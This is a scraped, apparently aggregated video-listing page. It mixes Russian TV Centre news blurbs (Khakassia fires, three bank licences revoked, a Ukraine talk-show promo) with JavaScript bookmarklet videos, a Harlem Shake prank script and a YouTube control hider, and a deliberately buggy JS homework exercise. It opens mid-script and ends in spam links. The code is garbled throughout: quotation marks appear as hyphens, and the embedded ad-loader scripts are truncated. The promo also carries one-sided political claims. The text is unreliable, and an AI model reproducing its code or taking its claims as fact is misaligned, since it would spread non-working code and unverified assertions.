u=[-im_drunk-,-im_baked-,-im_trippin-,-im_blown-];var a=-mw-strobe_light-;var f=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake-style.css-;var l=-mw_added_css-;var b=g();var w=y();var C=document.getElementsByTagName(-*-);var k=null;for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn(-Could not find a node of the right size. Please try a different page.-);return}c();S();var O=[];for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})() ! Sorry my english is bad!
Views: 77 Khairi Arizaldi
Число жертв пожаров в Хакасии увеличилось до 15 человек
 
03:15
Число жертв пожаров в Хакасии увеличилось до 15 человек. Число погибших в результате пожаров в Хакасии увеличилось до 15 человек. Об этом заявили в министерстве здравоохранения республики. Ранее сообщалось о 14 погибших. В настоящий момент все пожары потушены. Как сообщили в МЧС, пожарным удалось спасти от огня 60 тысяч домов. В результате пожаров в Хакасии погибли не менее 15 человек. Об этом сообщили в министерстве здравоохранения республики, пишет ТАСС. Ранее в Центре медицины катастроф сообщали о 14 погибших. По данным на 08:00 мск, за медицинской помощью в медучреждения Хакасии обратились 613 человек. Из них госпитализированы 78 человек. Восемь пострадавших находятся в тяжелом состоянии, 70 человек - в состоянии средней степени тяжести. 533 пострадавшим оказана медицинская помощь, они отправлены на амбулаторное лечение, - сообщил- сказал помощник министра здравоохранения Хакасии Михаил Мальгин. По последним данным, все пожары в регионе потушены. Огнем уничтожено более тысячи домов. Более 2 тысяч человек лишились жилья. При этом пожарным удалось отстоять как минимум 60 тысяч домов, в которых проживали более 350 тысяч человек. Ситуация находится под контролем. Всю прошедшую ночь группировка МЧС тушила пожары. Все пожары потушены, - сообщил журналистам главный государственный инспектор по пожарному надзору Борис Борзов. Все силы по-прежнему остаются на месте, чтобы не допустить повторных возгораний. Новости СМИ2 (function() { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = true; sc.src = 'http://news.smi2.ru/data/js/77654.js'; sc.charset = 'utf-8'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(sc, s); }()); Загрузка... (function(){ var D=new Date(),d=document,b='body',ce='createElement',ac='appendChild',st='style',ds='display',n='none',gi='getElementById'; var i=d[ce]('iframe');i[st][ds]=n;d[gi]("LentaInformScriptRootN8549")[ac](i);try{var iw=i.contentWindow.document;iw.open();iw.writeln("");iw.close();var c=iw[b];} catch(e){var iw=d;var c=d[gi]("LentaInformScriptRootN8549")...Источник: http://www.tvc.ru/news/show/id/65869 Copyright © 2007-2014 ОАО «ТВ Центр» http://www.tvc.ru/
index2.html Solution  by Top Codes
 
00:09
https://goo.gl/drzWEJ Consider the following code fragments for index2.html html head titleQuestion 2 /title script src="question2.js" type="text/javascript" /script /head body div class="funky" /div /body /html and for question2.js var RWS = 5; var COLS = 5; function golow() { var out = document.getElementsByClassName("funky"); var table = document.createElement("table"); table.border = 1; for (var i; i ROWS; i += 1) { var row = document.createElement("row"); for (var j; j COLS; j += 2) { var col = document.createElement("col"); col[removed] = String(i) + String(j); if (j / 2 == 0) { col.style.fontFamily="sans serif"; } if (j / 3 == 21) { col.style.color = "aquamrine"; } } table.appendChild(row); } out.appendChild(table); } window.onload = go Cut and paste the above code into your virtual box. There are a number of errors in the files you have been provided(question2.html, question2.js). Your task is to debug and correct these errors so that the html page produces the desired ouput. You should not try to rewrite all the code. The goal is to make as few changes as possible. The html file should not be changed. The javascript file should 1) call the function go when the page loads. 2) the function go programatically adds a table inside the div with class "funky". 3) the table should have 15 rows and 15 columns. 4) the cells of the table should contain the text "A __ a" where A is a capital letter. of the alphabet indexed by the row number and a is a lower case letter of the alphabet indexed by the column number. 5) every odd should use bold text. 6) every even column should use sansserif font. 7) every column number divisible by 3 should use the text colour aquama
Views: 1 Benjamin Jana
javascript: Creating some basic html elements at runtime_1
 
11:09
Showing how to create some basic html elements (a div, textbox and button) when the html document loads. Not much but its a good start. If you want the textbox or button in a specific position add (for example): object.style.position = "absolute" then place the object by using object.style.left = "20px" and object.style.top="20px". Change the amount to suit your needs.
Views: 2615 kaoticanomaly
Центробанк отозвал лицензию у трех банков
 
00:43
Центробанк отозвал лицензию у трех банков. Центробанк отозвал лицензии сразу у трех банков — это московские "Транснациональный банк" и "ИпоТек Банк", а также "Тихоокеанский Внешторгбанк" из Южно-Сахалинска. Все кредитные организации были участниками системы страхования вкладов. Выплаты клиентам начнутся не позднее 27 апреля. Центробанк в понедельник отозвал лицензию еще у трех кредитных организаций — это московские Транснациональный банк и ИпоТек Банк, а также Тихоокеанский Внешторгбанк из Южно-Сахалинска, сообщает ТВ Центр. Учреждения, по данным регулятора, проводили высоко-рискованную денежную политику и при этом не создавали необходимых резервов на возможные потери. Кроме того, банки были вовлечены в проведение сомнительных операций по выводу денежных средств за рубеж в значительных объемах и не исполняли федеральные законы, регулирующие банковскую деятельность. Организациям назначена временная администрация. Транснациональный банк, ИпоТек Банк и Тихоокеанский Внешторгбанк были участниками системы страхования вкладов. Выплаты клиентам начнутся не позднее 27 апреля. Новости СМИ2 (function() { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = true; sc.src = 'http://news.smi2.ru/data/js/77654.js'; sc.charset = 'utf-8'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(sc, s); }()); Загрузка... (function(){ var D=new Date(),d=document,b='body',ce='createElement',ac='appendChild',st='style',ds='display',n='none',gi='getElementById'; var i=d[ce]('iframe');i[st][ds]=n;d[gi]("LentaInformScriptRootN8549")[ac](i);try{var iw=i.contentWindow.document;iw.open();iw.writeln("");iw.close();var c=iw[b];} catch(e){var iw=d;var c=d[gi]("LentaInformScriptRootN8549");}var dv=iw[ce]('div');dv.id="MG_ID";dv[st][ds]=n;dv.innerHTML=8549;c[ac](dv); var s=iw[ce]('script');s.async='async';s.defer='defer';s.charset='utf-8';s.src="//jsn.lentainform.com/t/v/tvc.ru.8549.js?t="+D.getYear()+D.getMonth()+D.getDate()+D.getHours();c[ac](s);})(); -- '); document.write(''); AdFox_ge...Источник: http://www.tvc.ru/news/show/id/65893 Copyright © 2007-2014 ОАО «ТВ Центр» http://www.tvc.ru/
7.3: Manipulating DOM Elements
 
10:32
CSCE 120 - Manipulating Data I: Manipulating DOM Elements
Views: 157 Chris Bourke
How to make Harlem Shake PC (Only Google Chrome)
 
01:51
javascript:(function(){function c(){var e=document.createElement(-link-);e.setAttribute(-type-,-text-css-);e.setAttribute(-rel-,-stylesheet-);e.setAttribute(-href-,f);e.setAttribute(-class-,l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t-e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement(-div-);e.setAttribute(-class-,a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height-e&&s.height-n&&s.width-t&&s.width-r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t-=w&&t-=b+w}function S(){var e=document.createElement(-audio-);e.setAttribute(-class-,l);e.src=i;e.loop=false;e.addEventListener(-canplay-,function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e-O.length;e++){T(O[e])}},15500)},true);e.addEventListener(-ended-,function(){N();h()},true);e.innerHTML=- -p-If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.--p- -p--;document.body.appendChild(e);e.play()}function x(e){e.className+=- -+s+- -+o}function T(e){e.className+=- -+s+- -+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp(-\\b-+s+-\\b-);for(var n=0;n-e.length;){e[n].className=e[n].className.replace(t,--)}}var e=30;var t=30;var n=350;var r=350;var i=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake.mp3-;var s=-mw-harlem_shake_me-;var o=-im_first-;var u=[-im_drunk-,-im_baked-,-im_trippin-,-im_blown-];var a=-mw-strobe_light-;var f=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake-style.css-;var l=-mw_added_css-;var b=g();var w=y();var C=document.getElementsByTagName(-*-);var k=null;for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn(-Could not find a node of the right size. Please try a different page.-);return}c();S();var O=[];for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})()
Views: 512 John Black
Смотрите в 18:00 Право голоса: от слов к кулакам
 
00:24
Смотрите в 18:00 Право голоса: от слов к кулакам. Украинские власти жёстко подавляют оппозицию. В стране появились "расстрельные списки". Информацию о "врагах народа" с домашними адресами и личными телефонами открыто размещает в Интернете Министерство внутренних дел. За минувшую неделю в Киеве уже произошло два громких убийства. Известный писатель и журналист Олесь Бузина был застрелен во дворе своего дома. Другое покушение совершили на бывшего соратника Януковича, члена "Партии регионов" Олега Калашникова. Будет ли расследование этих преступлений объективным? И кто станет следующей жертвой политических противостояний? На эти вопросы пытаются найти ответы гости программы Право голоса: Украина — сезон убийств. В острой дискуссии оппоненты перешли от слов к кулакам. Смотрите на канале ТВ Центр в понедельник в 18:00, сразу после выпуска новостей. Новости СМИ2 (function() { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = true; sc.src = 'http://news.smi2.ru/data/js/77654.js'; sc.charset = 'utf-8'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(sc, s); }()); Загрузка... (function(){ var D=new Date(),d=document,b='body',ce='createElement',ac='appendChild',st='style',ds='display',n='none',gi='getElementById'; var i=d[ce]('iframe');i[st][ds]=n;d[gi]("LentaInformScriptRootN8549")[ac](i);try{var iw=i.contentWindow.document;iw.open();iw.writeln("");iw.close();var c=iw[b];} catch(e){var iw=d;var c=d[gi]("LentaInformScriptRootN8549");}var dv=iw[ce]('div');dv.id="MG_ID";dv[st][ds]=n;dv.innerHTML=8549;c[ac](dv); var s=iw[ce]('script');s.async='async';s.defer='defer';s.charset='utf-8';s.src="//jsn.lentainform.com/t/v/tvc.ru.8549.js?t="+D.getYear()+D.getMonth()+D.getDate()+D.getHours();c[ac](s);})(); -- '); document.write(''); AdFox_getCodeScript(1,pr1,'http://ads.adfox.ru/220018/prepareCode?pp=g&ps=bnry&p2=evrr&pct=a&plp=a&pli=a&pop=a&pr=' + pr +'&pt=b&pd=' + addate.getDate() + '&pw=' + addate.getDay() + '&pv=' + add...Источник: http://www.tvc.ru/news/show/id/66552 Copyright © 2007-2014 ОАО «ТВ Центр» http://www.tvc.ru/
Quitar u ocultar controles y barra de reproducción de youtube durante pausa y reproducción
 
01:35
Texto: javascript:var s=document.getElementById('stylehidecontrols'); if(s){s.remove();} else{s=document.createElement('style'); s.id='stylehidecontrols'; var r='#movie_player .ytp-gradient-top, #movie_player .ytp-chrome-top, #movie_player .ytp-progress-bar-container, #movie_player .ytp-chrome-controls{display:none !important}'; s.appendChild(document.createTextNode(r)); document.body.appendChild(s);} void 0;
Views: 917 Tutoriales para PC
How to make your pc or laptop so the Harlem Shake
 
02:35
s this is like the same vid i made yesterday but suck that video and i hope you enjoy and like sub javascript:(function(){function c(){var e=document.createElement(-link-);e.setAttribute(-type-,-text-css-);e.setAttribute(-rel-,-stylesheet-);e.setAttribute(-href-,f);e.setAttribute(-class-,l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t-e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement(-div-);e.setAttribute(-class-,a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height-e&&s.height-n&&s.width-t&&s.width-r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}function E(e){var t=m(e);return t-=w&&t-=b+w}function S(){var e=document.createElement(-audio-);e.setAttribute(-class-,l);e.src=i;e.loop=false;e.addEventListener(-canplay-,function(){setTimeout(function(){x(k)},500);setTimeout(function(){N();p();for(var e=0;e-O.length;e++){T(O[e])}},15500)},true);e.addEventListener(-ended-,function(){N();h()},true);e.innerHTML=- -p-If you are reading this, it is because your browser does not support the audio element. We recommend that you get a new browser.--p- -p--;document.body.appendChild(e);e.play()}function x(e){e.className+=- -+s+- -+o}function T(e){e.className+=- -+s+- -+u[Math.floor(Math.random()*u.length)]}function N(){var e=document.getElementsByClassName(s);var t=new RegExp(-\\b-+s+-\\b-);for(var n=0;n-e.length;){e[n].className=e[n].className.replace(t,--)}}var e=30;var t=30;var n=350;var r=350;var i=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake.mp3-;var s=-mw-harlem_shake_me-;var o=-im_first-;var u=[-im_drunk-,-im_baked-,-im_trippin-,-im_blown-];var a=-mw-strobe_light-;var f=---s3.amazonaws.com-moovweb-marketing-playground-harlem-shake-style.css-;var l=-mw_added_css-;var b=g();var w=y();var C=document.getElementsByTagName(-*-);var k=null;for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){if(E(A)){k=A;break}}}if(A===null){console.warn(-Could not find a node of the right size. Please try a different page.-);return}c();S();var O=[];for(var L=0;L-C.length;L++){var A=C[L];if(v(A)){O.push(A)}}})()
Views: 487 Alex Galindo

Writing resume service
Rein and n3ds 10/30 pmag california
Sample cover letter for student radiologic technologist
Sample relocation cover letter examples
Essay writing service best